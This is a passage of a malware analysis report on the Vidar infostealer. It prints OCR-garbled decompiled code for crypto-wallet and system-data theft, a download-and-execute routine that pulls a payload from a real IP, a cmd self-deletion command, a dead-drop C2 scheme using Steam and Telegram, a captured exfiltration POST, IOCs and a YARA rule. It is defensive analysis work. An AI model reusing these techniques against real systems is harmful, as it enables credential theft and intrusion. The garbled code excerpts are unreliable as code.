goes through all the browser-related files and tries to extract information from them.

Crypto Wallets

Vidar supports stealing from various cryptocurrency wallets such as Bitcoin, Ethereum,
Binance, Brave Wallet, Opera Wallet, Monero, and the list goes on. For example, the stealer
opens the registry key SOFTWARE\monero-project\monero-core and queries the value
wallet_path to check if the file wallet . keys exists.

memset(Stringl, @, sizeof(Stringl));

chData[@] = 255;

ProcessHeap = GetProcessHeap();

v1l3 = (BYTE *)HeapAlloc(ProcessHeap, 8, Bx184u);

if ( !'RegOpenkeyExA(HKEY _CURRENT_USER, FSDFTNARE\\monero-project\\monero—core"] 8, 8x28119u, phkResult) )
RegQueryValueExa(phkResult[@], "wallet path™, @, @, vI3, cbData);

ReglCloseKey(phkResult[@]);

IstrcatA(Stringl, (LPCSTR)w13);

if ( lstrlenA(Stringl) »>= 6 )

IstrcatA(Stringl, ".keys™);
sub_48F3D8( (CHAR **)chDat oyt
strepy({char *)phkResult, '\\\\Honero\\\\wallet.keys"j;]
sub_48F5B@((int)cbData, (CHAR *T)vi5, "Wallets");
sub_48F5B@((int)v25, (CHAR **)v2l, (LPCSTR)phkResult});

The stealer creates an SQLite database to store information about the collected data, such
as passwords, browser history, and other sensitive details. Here’s an example of the basic
structure used to store data:
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= DB Browser for 50Lite - Ch\ProgramData\xdeuk’ ekf37y

File Edit WView Tools Help
i Mew Database g+ Open Database | Write Changes L Revert Changes £/ Open Project |5 5ave Proje
Database Structure  BrowseData  EditPragmas  Ewecute SQL E
"o Create Table o Create Index LE{]F‘rint
Mame Type Schema
v || Tables (37)
| address_type_tokens CREATE TABLE "address_type_token
~| addresses CREATE TABLE "addresses" (guid VA
| attributes CREATE TABLE attributes (entity_gui
| autofill CREATE TABLE autofill (name VARCH
| autofill_model_type_state CREATE TABLE autofill_model_type_:
| autofill_sync_metadata CREATE TABLE autofill_sync_metada
| benefit_merchant_domains CREATE TABLE benefit_merchant_do |
| credit_cards CREATE TABLE credit_cards (guid V¢
| entities CREATE TABLE entities (guid TEXT N i
| generic_payment_instruments CREATE TABLE generic_payment_ins
| keywords CREATE TABLE keywords (id INTEGE

| local_ibans

| local_stored_cve

| masked_bank_accounts

| masked_bank_accounts_metadata

| masked_credit_card_benefits

| masked_credit_cards

| masked_ibans

| masked_ibans_metadata

| meta

| offer_data

| offer_eligible_instrument

| offer_merchant_domain

| payment_instrument_creation_options
| payment_method_manifest

| payments_customer_data

| plus_address_sync_entity_metadata
| plus_address_sync_model_type_state
| plus_addresses

| secure_payment_confirmation_brows...

1 . "~

CREATE TABLE local_ibans (guid WVAF
CREATE TABLE local_stored_cvec (gui
CREATE TABLE masked_bank_accoul
CREATE TABLE masked_bank_accoul
CREATE TABLE masked_credit_card_
CREATE TABLE masked_credit_cards
CREATE TABLE masked_ibans (instru
CREATE TABLE masked_ibans_metai
CREATE TABLE meta(key LONGVARC
CREATE TABLE offer_data (offer_id L
CREATE TABLE offer_eligible_instrun
CREATE TABLE offer_merchant_dom
CREATE TABLE payment_instrument_
CREATE TABLE payment_method_mi
CREATE TABLE payments_customer_
CREATE TABLE plus_address_sync_e
CREATE TABLE plus_address_sync_n
CREATE TABLE plus_addresses (prof
CREATE TABLE secure_payment_con

>

There’s so much more that Vidar stealer is capable of in terms of stealing and harvesting
data, but | can’t go over all of them one by one because it would take forever.
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Information Log

The stealer gathers almost all general information about the victim. After collecting the
relevant data, it saves it in a file named information. txt in memory and sends it to the C2
server.

Some of the fields it collects are:

e Machine ID

e HWID

e GUID

o Computer Name
e Time Zone

e Windows

e And more

In order to extract the relevant information, it uses various APIs and parses registry keys to
build the information. txt file. For example, to obtain all running processes on the system,
the stealer uses the CreateToolhelp32snapshot function to take a snapshot of all running
processes. It then iterates over these processes using the Process32First and
Process32Next functions.

Mo [esp+lddhtpe.dwSize], 128h
push 2] ; th32ProcessID
push 2 i, dwFlags
call [[FEatETDDlhElp325ﬂapSth]
Mo ed1, eax
lea eax, [espt+lddhipe]
push Eax ; lppe
push edi ; hSnapshot
call [|Process32First]
test eax, eax
jz short loc_ 416203
- Y
® i [=
lea eax, [esptlddhipe]
push eax ; 1ppe
push edi ; hsnapshot
call |Process32Next |
test Edx, edn
jz short loc 418203
& | 1

Besides the process enumeration function, the stealer collects information about installed
programs from the registry key
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall. It then
parses the DisplayName and DisplayVersion values to list all installed software and their
respective versions.
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while ( 1 )
{

wsprintfA(Subkey, [#s\\¥s", "SOFTHARE\\Microsoft\\Nindows\\CurrentUersion\\Uninstall“l Name ) ;
if ( RegOpenKeyExAlva, SUDREy, B, BX200100, Bva) 7

break;

cchiame = 1824;
if ( !RegQuer‘_l,-"JalueEx;‘-‘-.('«E, @, (LPDWORD)Class, cchClass, &cchName)
&% lstrlenA((LPCSTR)cchCISEE) ==
1
sub_a4eFsBe((int)al, (CHAR **)vll, "\n");
sub_4@F4E@(al, (int)vlil};
sub_48F458( (void **)vil);
sub_4@FsBe((int)al, (CHAR **)vw1l, (LPCSTR)cchClass);
v3 = hKey;
sub_4B8F4E@(al, (int)vil);
sub_48F458((void *F)vll);
cchName = 1824;
if ( !'RegQueryVvalueExA(vE,] "DisplayVersion"} @, (LPDWORD)Class, cchClass, &cchName) )

1

sub_48FSEB( (int)al, (CHAR **)vil, " - ");
sub_4eF4E@{al, (int)wvil};

sub_4er4se( (void *F)vil);

sub_4@FsBa((int)al, (CHAR **}vl1l, (LPCSTR)cchClass);
v3 = hKey;

sub_4eF4e@(al, (int)vil);

sub_4@F45e( (void **)vil);

}

¥
RegClosekey(vE);

This is how Information.txt looks like:
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Version: 13.2

Date: 20/3/2025 15:44:39

MachineID: 169e761d-7c54-4ade-a217

GUID: {75ac9683-f7c2}

HWID: 8EBD693388E01671227304-75ac9683-f7c2

Path: C:\Users\AvialLab\Desktop\v7942.exe_000002166AC90000.bin
Work Dir: In memory

Windows: Windows 10 Pro

Install Date: Disabled

AV: Disabled

Computer Name: DESKTOP-C654J0B

User Name: Avialab

Display Resolution: 1558x920

Keyboard Languages: English (United States) / Hebrew (Israel)
Local Time: 20/3/2025 15:44:39

TimeZone: -8

[Hardware]

Processor: AMD Ryzen 9 7950X3D 16-Core Processor
Cores: 2

Threads: 2

RAM: 8191 MB

VideoCard: VMware SVGA 3D

[Processes]
System
Registry
sSmss.exe
CSrss.exe
wininit.exe
CSrss.exe
winlogon.exe
services.exe
lsass.exe

fontdrvhost.exe
< L. >

[Software]

Digital Detective DCode v5.5 - 5.5.21194.40
Visual Studio Build Tools 2017 - 15.9.61
Event Log Explorer Standard Edition 5.5 - 5.5
Visual Studio Community 2022 - 17.9.6

Kernel OST Viewer ver 21.1

Kernel Outlook PST Viewer ver 20.3

Malcode Analyst Pack v0.24

Microsoft Edge - 134.0.3124.72

Microsoft Edge WebView2 Runtime - 134.0.3124.72
Nmap 7.93 - 7.93

Npcap - 1.73
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PDFStreamDumper 0.9.5xX
vbdec

winSCP 6.1.1 - 6.1.1

< ... >

In addition, there’s another file called passwords. txt, which appears to contain all the
collected passwords. This file is sent to the C2 during the data exfiltration process.

Additional Payloads

The stealer also acts as a downloader. Once it finishes all its harvesting activities, it
downloads additional payloads to C:\Programbata\<GeneratedFolder>\ using
InternetOpenA.

lpszAgent = {const CHA&R *)GetPointer{&ad);
w31 = InternetOpenA(lpszAgent, lu, @, &, @);
if ( w3l )
1
w32 = v31;
StrimpCA(v3d.lpszScheme, “https™);
w33 = (const CHAR *)GetPointer(&a27);
w34 = InternetOpenUrla(v32, v33, @, @, (DWORD)}v32, @);
lpFileName = (const CHAR *)G@etPointer(&a3@);
Filed = CreateFilef(lpFileNams, Ox40088000u, 3u, @, 2u, 8xB88u, B8);
while { InternetReadFile(v34, Buffer, ©x488u, (LPDWORD)}hTemplateFile)
&& hTemplaterile[@]
&% WriteFile(FilepA, Buffer, (DWORD}hTemplateFile[@], &NumberOfByteslWritten, @)
8% hTemplateFile[@®] »= (HANDLE)@x4o6
8% hTemplateFile[®] == {HANDLE)NumberOfByteskritten }

¥
sub_4led4o8(Buffer, 1824);
CloseHandle(Filed);
InternetCloseHandle{v34);
InternetCloseHandle{ (HINTERNET }dwFlagsAndAttributes);

We can verify this by using a debugger. Let’s set a breakpoint on Internetopenurl and
check the second argument passed on the stack. It should be 1pszurl, a pointer to a null-
terminated string variable that specifies the URL to begin reading.

mov edi,edi L InternetopenurlA I
732C9C22 push ebp
732C9C23 BBEC mov ebp,esp
732C9C25 B3EC 3C sub esp,3C
732C9C?28 BD45 C4 1ea eax,dword ptr ss:[ebp-3C])
732C9C2E 43 push esi esi:&"http://77.90.153.244,/19543. exe"
732C9C2C B6A 3C push 3C
732C9CZE B8A 00 push 0
732C3C30 4] push eax eax:"http: //77.90.153.244,/19543. exe"
732CC31 E8 BFELFEFF €all <IMP.&memset>
732C9C36 B3C4 0OC add esp,C
732C3C39 8D4D C4 lea ecx,dword ptr ss:[Jebp-3C[]

00403772| return to vF942. exe_000002166ac30000.00403772 from 777
001296E50 || 00CCO0LC
00195ES 4 || 0OSSDDLOYR " http: //77.90.153. 244,/19543, exe™

After that, it uses WriteFileA to write the file to C:\Programbata\<GeneratedFolder>\ with
a newly generated name and executes it using ShellExecuteExW.
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I
LABEL_67:
memset({&pExecInfo.lpDirectory, @, 12);
ve2 = bhellExecutEExw{&pExecInfc};

BBFF mov edi,edi ShellExecuteExw
75BE4542 [ push ebp
75B54543 SBEC mov ebp,esp
75B5 4545 B3E4 F8 and esp,FFFFFFFS
7EBE45 48 B1EC CCOOO0O00 sub esp,CC
75B5454E Al 2068F475 mov eax,dword ptr ds: [F5F46820]
7EBE4553 33C4 XOF eax,esp
75B54555 898424 CE000000 mov dword ptr ss:[Besp+Cell,eax

[00411AB3 | return to w7942, exe_000002166ac20000, 00411483 from 777
00197344
oooQo003C
00008040
0000000

0041FD5 Y| v7 942, exe_000002166a4C20000. L " open™
o0B48408 L"C:N\ProgramData\’\16Tkxtrics. exe"

031EFE0

Self-Deletion

Once the malware completes all its activities, it performs self-deletion using SshellExecuteA.

It does this by opening cmd . exe and running the following command:
"C:\Windows\system32\cmd.exe" /c del /f /q "<MalwarePath>" & timeout /t 11 &
rd /s /q "C:\ProgramData\<GeneratedFolder>" & exit

First, the malware forcefully and silently deletes its own executable with del /f /q "
<MalwarePath>". It then waits for 11 seconds (timeout /t 11) before recursively and
silently removing the dynamically generated directory <GeneratedFolder>.

*(_OWORD *)&v64[24] = *( OWORD *)ved;

*( OWORD *)&ve4[4@] = v22;

_BEDE = *{ OWORD *)&v&4[32];

veB[2] = 4288384;

v6e[1] = (char *)& BGEDE + 123

v6a[@] = &v39;

v59[251] = v6l;
] = &vs59[231];

memset({vsd, @, @x3E3u);

memset(&v55[9], @, 6B8);

strepy(vse, |"/c timeout /t 11 & del /f /g \""
Tt t\\ProgramData’\");

GetModuleFileNameAQ®, (LPSTR)wS9, @x184u);

opyString(vsd, "");
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=== L Ll
® 916 strcpyﬁ(cha’ *yws7) "/ timeout /t 11 & rd /s /g \"C:\\ProgramData\\")};
® 917 3 (CHAR **)vw5SE}
® 018 sub 49F559((1nt),51, {CHAR **)u58, (LPCSTR)VST7);
® 919 sub_4BF4EB(v53);
® 920 sub_4BF458(v53);
® 921 sub_4BF548(v58, (char *)& B6DE + 12);
® 922 sub_4BF4E@(v53);
® 923 sub_4@F45e(vsa);
® 924 strepy(vss, "\ & exit™);
® 0325 HIDWORD(v53[1]) = v55;
926 | }
® 927 | sub_ 4@FSBB((int)vs4, v23, (LPCSTRIHIDWORD(vS3[1]));
® 928 | sub_48F4EB(v23);
® 929 | sub 4EF458((«C1 ®EYw23);
® 938 | *(_DWORD *)&v55[9] = 6@;
® 931 | *( DWORD *)&55[13] = 328;
® 932 | *( DWORD *)&/55[17] = @;
® 933 | *( DWORD *)&/55[21] 4 "opents
® 934 | *( DWORD *}&vS5[25] 4 "C:i\\Windows\\system32\\cmd.exe";
® 935 | *( DWORD *)&55[29] ——SUD AUF SOOI
® 936 o @, 12);
® 937 || shellExecuteExAf{SHELLEXECUTEINFOA *)&vS5[9]);
® 938 | memset(&vs5[9], @, 68);
® 939 | memset(vs2, @, @x3E8u);
® 040 | sub 4BFEFB(v54);
® 0941 | ExitProcess(@);
e 042 [}

C2 Communication

After looking into it a bit, I've discovered that the stealer uses a known technique called
“Dead Drop Resolver”, which leverages existing, legitimate external web services to host
information that points to additional command and control (C2) infrastructure. By doing this,
malware authors can avoid hardcoding C2 addresses in their malware, making detection and
takedown efforts more challenging.

| observed that the stealer uses two well-known sites — Steam and Telegram. For those
unfamiliar, Steam is a popular gaming platform where users can purchase thousands of
games, while Telegram is a widely used messaging platform. Following those URLs reveals
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the real C2 address in use by the stealer

y<) STEAM STORE ABOUT SUPPORT

?

dqu220 https://49.12.113.195] -

\ 4

g_etcontent

dqu220 https://t.p.formaxprime.co.uk|

The addresses are bundled with a hard-coded profile ID (dqu220), which is used to retrieve
the correct configuration of the malware.

C2 Data Exfiltration

From what it seems, the stealer creates a zip archive where it stores all the relevant files and
sends it in a POST request to the C2 server in a base64-encoded format. In the last POST
request, the stealer adds additional content to be sent to the C2 server.
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push offset aContentDisposi ;|"Content-Disposition: form-data; name=\""
push esi ; int

call sub_48FSEB

mow ecx, ebx

push esi

call sub_ 4@8F4E@

Mo ecx, esi

call sub_48F458

mow ecx, ebx

push offset aFileData § "file data”
push esi ; om

POST /612acd258782ade8.php HTTP/1.1

Content-Type: multipart/form-data; boundary=----KJJIDHDGDAAKECAKIDAE
Host: 77.98.153.241

Content-Length: 173351

Connection: Keep-Alive

Cache-Control: no-cache

—————— KJJIDHDGDAAKECAKIDAE
Content-Disposition: form-data;

ab9lld4edb@eddsdsd2bil6a48ca3ffa74cBd62cBdea@al185bas7c637Te@794ca38bba3a2

—————— KIJIDHDGDAAKECAKIDAE
Content-Disposition: form-data;

C2NyZWVucZhvdC5qcae=

—————— KJJIDHDGDAAKECAKIDAE

Content-Disposition: form-data;

/97 /4AAQSkZ IRGABAQEAYABEAAD/ 2wBDAAZGBE CGEQEHEWC JCQEKDBQNDAS LDEKSEwSUHRoTHh@aHBwgIC4n ICI s IxwcKDCpLDAXNDQBHy cSPTgyPC4zNDL / 2wBDAQkJCQWLDEgNDRgy T
RwhMj TyMj TyMj TyMj TyMJ Tyt TyMj Tyj TyMjTyMI TyM TyMj Tymj TyMj IyM3 IyMj TyMj L/ wAARCALQBQADAS IAAh EBAXEB / BQAHWAAAQUBAQEBAQEAAAAAAAAANAE CAWQFBECICQoL/ 8
QAtRAAAZEDAWIEAWUFBAQAAAFIAQIDAAQRERINMUEGELFhBY IxFDKBkaEII@KxwRYVSETAKM2 JygekKFhcYGRo1]icoKSo@NTY30DkeQ@RFREISUp TVFVWY LhZkmNkZWZnaGlgc3R1dnd
4eXqDhIWGh41i]ipKT1IWW15iZmgKjpKmpeipgrikztlW2t7i5usLDxMXGx8]IytLTINXW19Z2uHi4+T15ufo6erx8vP@3Tb3+Pn6/ BQAHWEAAWEBAQEBAQEBAQAAAAAAAAE CAWQFBECT
CQoL/B80ATtREAAEECBAQDBACFBAQAAQT 3AAECAXEEBSExBh IBUQdhcRMiMoE IFEKRobHBC SMzUvAVYNLRChYKNOE 18RCYGRomIygpKjU2NZzgSOKNERUZHSELKUIRVVLdYWVpjZGVmZ2hpa
nh@dxZ3eHl6go0EhYaHiImKkpOUlZaXmImacqOkpaangKmgsro@tba3ulmbws PExcbHyMnKetPUldbX2Nna4uPk5ebn60ng8vP@9ftbh3+Pn6/90ADAMBAATRAXEAPWDS /wlxo/GjBKPwWoA
Pxo/GtzTPCmg6pax3cckKQ2chIWdnfapwcHASZ sHABrobPwVpBGGYLma 7 T+SEPLOHEN]YfEpoA4LBaPxrlF/Cvh+5g2/wBnNbn+/bzvu/ 8AHywx+FYd78PZh1tN1CGF@iuB5Ln2ByV/EkU
AcVS1lelHRtS@1gL+ymgDHCuy/ I/ 8Auteb8DVEEYUUUUDCIiigl /HomrSxrJHpd6sbgMr LbuQwPQe46U7+wdZ/6BN/ /wCAZ/4VIR+Fr2487416Td2rFZo7 SMgVUMeXAOAe+CaPAVITHWNES
RBnaagGWCGGBokeHyyCxmyRwCc7VHPBAD9cSBXPLz+wdZ/ 6BN/ BA+AZ/ AOFNk8TVoo2kk@y I SNAWZME2ZAUDGScVI8V1+Ibak98d7S4QPDPNDHIp7q@qej 8 jOF z4dorat4n,/DE6SHXr Ktk
rTaTK2VYD1i9§7V5vk@DuBoyakT8KCRemko/ CvbvgzBPFDPL /wtFXut6elxcQ3piR1nkTC7EQMKQDPPS@AT / jR+-NTWn/CkPAH/ AEBST /AyX/4q] /hSHgH/ AKBES/gZL /BAFUATIT48T ]
Xen43+CGktpcsnhaBredtzkRPMzIiYYB25YnBOD4+HTgPn2eCk2nkgniakaNirod4wVI6gigCP8aPxo/CJEKADEBaP e/ CJEKADBaPxrpvhIpFlr/ jzSdK1GTyWl zKUKUMYIGLjIHPUCvoY/hR
PEPBASELr/WACS/x0A+Tvxo/GurD/ATUT4E /58br/AMC3qngHWNEF rFHHb2 tz FIMxjEhuWbZ 8 jEEDEgdaAPlvEaPxrofF / hDUTBusvYXyZQkmGdREsq+09/ aue/CgBakXbRENA+VIUUUY
ggeBIilda+]/AAL8]fBWG+COF10/8+8a6u7VIIDDLKQWxy cLnFbH/Cmfh9287U/++p/8KBHy 2F 5684KK+oh8GvADMANP1PkA+IN/ hXmPxD+F TaHYQ6 3ocbyae@5tPDks@I IGSMBLT5ULY
@ilseWUhXIpakLGgwxt1MwanpMamixDgugijAplFe]j/AAXEMaPAr8X31jrdn9gqto7B51TZHTDI SMASUEOGP5@10it To84pwrEwX4Pe CDDCSBKASMAHT+HAT VKX zv5+nv T BHFA26cDwuC
EAMZ4+3TFuDIpa/ jnmmT7VHyb-+NHA19C+M/ 23 p1575v4AVs / sOoWIVHLOkadnSYkvuXex0G+UYOcevXT+FpolbaesCel4po2KPGEkMr A4 TIPQI KXGSZH+NGPMHERTHOBSKD2IKKajbh TV
R2KQUVET gGxttSBeaNZXsKTWAOWEKjccMCDxXB9 /wq7wR/wBC5Z/ k3 HNDdiZTSWFHIFFYP/CrvBH/AELLIn+TT411i+IPhVAVUbS3srHShaymup jHS@YOVxG7Dqe0VF Lm19q 5 Z78E8Vuek
TC20eEIXksralgAT kfHDCuTkT jFNv)ttWuQscmkpkidoOe+pPFMOetWlcMOtZ10V2XvTuXG T c8aKpif 1z TwtG0905aceSazimNLjpVY3B IqEsSaVwcdokk13VFRSThSMWZh-+HNHA8ThR+FA
g/GjB8aPwo/CgA/GjBaPwo/Cgh/GjBaPwo/CgA/Gj8aPwe/CgA/GjBaPwe/CgA/G]BaPwo/CgA/GBaPwo/CgA/GjBaPwe/CgA/GjBaPwo/CghA/G]BaPwo/CghA/G]BaPwe/CgA/GjBaPwo
/CgA/GjBaPwo/CghA/Gj8aPwo/CgA/GjBaPwo/CgA/GjBaPwo/CgA/GjBaPwo/CgA/GjBaPwo/CgA/Gj8aPwo//CgA/Gj8aPwo/CgA/G]BaPwo,/CgA/G]BaPwe/CgA/GjBaPwe/CgA/GiBa

Summary

Vidar Stealer is a highly versatile malware designed to steal a wide variety of sensitive
information. It uses smart techniques to avoid hard-coded command-and-control (C2)
servers, making it harder to track. On top of that, it can act as a downloader, fetching and
executing additional malicious payloads.

Indicators Of Compromise (I0C)

File Hashes (SHA256)

fe0d2c8f9e42e9672c51e3f1d478f9398fe88c6f31f83cadbb07d3bb064753c6
f2399716df6735c66dfa05a713ff41182e80a6¢c3c596ecb133b34b65f2d1fO0f
dcc05c3ac7ae22d601bcb7c97cfcda568f3041bd39b2fd8899282dfde83369a5
879d835¢c2156b4d12a5e4d542¢282861540c3799225238ff34ffa4b308c376¢cb
d2bcc0239e7a272fa47b91a726598fd7ad526d7ca16a3ca3556bfc3db7e3bb81
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Related Domains,URLs,and IP addresses

o hxxp[://]77[.]90[.]153[.]241/a07daa7aeaf96e14/vcruntime140[.]1dll
o hxxp[://]77[.]190[.]153[.]241/a07daa7aeaf96e14/softokn3[.]dlI

o hxxp[://]77[.]90[.]153[.]241/a07daa7aeaf96e14/nss3[.]dll

o hxxp[://]77[.]90[.]153[.]241/a07daa7aeaf96e14/msvcp140[.]1dll

o hxxp[://]77[.]90[.]153[.]241/a07daa7aeaf96e14/mozglue[.]dll

o hxxp[://]77[.]190[.]153[.]241/a07daa7aeaf96e14/freebl3[.]dll

o hxxp[://]77[.]90[.]153[.]244/v7942[.]exe

o hxxps[://]steamcommunity[.]Jcom/profiles/76561199832267488

o hxxps[:/t[.]Jme/g_etcontent

o hxxps[://It[.]p[.]formaxprime[.]co[.Juk

Yara Rules

rule Vidar_stealer {

meta:
description = "A rule for detecting Vidar stealer malware"
shal = "689f5c3624a4428e9937ca6a6c26d449dc291a12"
author = "AviaB"
strings:
$mz = "mMz"
$B1 = "steamcommunity.com/profiles/76561199832267488"
$B2 = "t.me/g_etcontent"
$B3 = "information.txt"
$B4 = "passwords.txt"
$B5 = "HWID:"
$B6 = "MachineID:"
$B7 = "GUID:"
&B8 = "AvV:"
condition:

($mz at ©) and 2 of ($B*)
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